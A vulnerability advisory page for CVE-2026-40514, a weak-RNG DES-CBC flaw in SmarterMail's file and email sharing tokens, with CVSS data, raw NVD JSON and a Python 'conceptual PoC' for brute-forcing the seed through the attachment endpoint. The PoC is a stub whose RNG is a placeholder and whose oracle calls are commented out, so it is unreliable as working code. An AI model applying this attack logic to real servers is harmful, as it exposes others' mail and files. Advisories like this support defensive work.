Security Vulnerability Report
中文
CVE-2026-40514 CVSS 5.9 MEDIUM

CVE-2026-40514

Published: 2026-04-27 15:16:20
Last Modified: 2026-04-27 18:57:20

Description

SmarterTools SmarterMail builds prior to 9610 contain a cryptographic weakness in the file and email sharing endpoints that use DES-CBC encryption with keys and initialization vectors derived from System.Random seeded with insufficient entropy, reducing the seed space to approximately 19,000 possible values. An unauthenticated attacker can use the attachment download endpoint as an oracle to determine the seed in use and derive encryption keys and initialization vectors to forge sharing tokens for arbitrary emails, attachments, or file storage contents without prior access to the targeted content.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SmarterTools SmarterMail < Build 9610

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC. It demonstrates the logic of brute-forcing the seed. # It requires the target's specific token format and encryption padding details to be fully functional. import requests from Crypto.Cipher import DES from Crypto.Util.Padding import pad, unpad import base64 # Hypothetical implementation of .NET System.Random to reproduce the seed sequence class DotNetRandom: def __init__(self, seed): self.seed = seed # Simplified implementation logic for demonstration # Real .NET System.Random uses a subtractive generator algorithm def get_bytes(self, count): # Placeholder for actual byte generation logic return bytes([self.seed % 255] * count) def brute_force_seed(target_token, oracle_url): print(f"[*] Starting brute force attack on {oracle_url}") for seed in range(19000): # 1. Simulate Key/IV generation based on the seed # In the real vulnerability, the specific byte extraction logic is needed rng = DotNetRandom(seed) key = rng.get_bytes(8) # DES Key is 8 bytes iv = rng.get_bytes(8) # DES IV is 8 bytes try: # 2. Attempt to decrypt the target token or forge a test token cipher = DES.new(key, DES.MODE_CBC, iv) # Assuming base64 encoded token # decoded = base64.b64decode(target_token) # decrypted = unpad(cipher.decrypt(decoded), DES.block_size) # 3. Validation step (Oracle) # Send a request to the server with the forged/decrypted data # If response is 200, we found the seed # response = requests.get(oracle_url, params={'token': forged_token}) # if response.status_code == 200: # print(f"[+] Seed found: {seed}") # return seed, key, iv pass except Exception: continue return None # Usage # brute_force_seed("captured_token_string", "https://target.com/attachment.ashx")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40514", "sourceIdentifier": "[email protected]", "published": "2026-04-27T15:16:20.160", "lastModified": "2026-04-27T18:57:20.293", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "SmarterTools SmarterMail builds prior to 9610 contain a cryptographic weakness in the file and email sharing endpoints that use DES-CBC encryption with keys and initialization vectors derived from System.Random seeded with insufficient entropy, reducing the seed space to approximately 19,000 possible values. An unauthenticated attacker can use the attachment download endpoint as an oracle to determine the seed in use and derive encryption keys and initialization vectors to forge sharing tokens for arbitrary emails, attachments, or file storage contents without prior access to the targeted content."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-338"}]}], "references": [{"url": "https://www.smartertools.com/smartermail/release-notes/current", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/smartertools-smartermail-build-9610-cryptographic-weakness-via-weak-rng", "source": "[email protected]"}]}}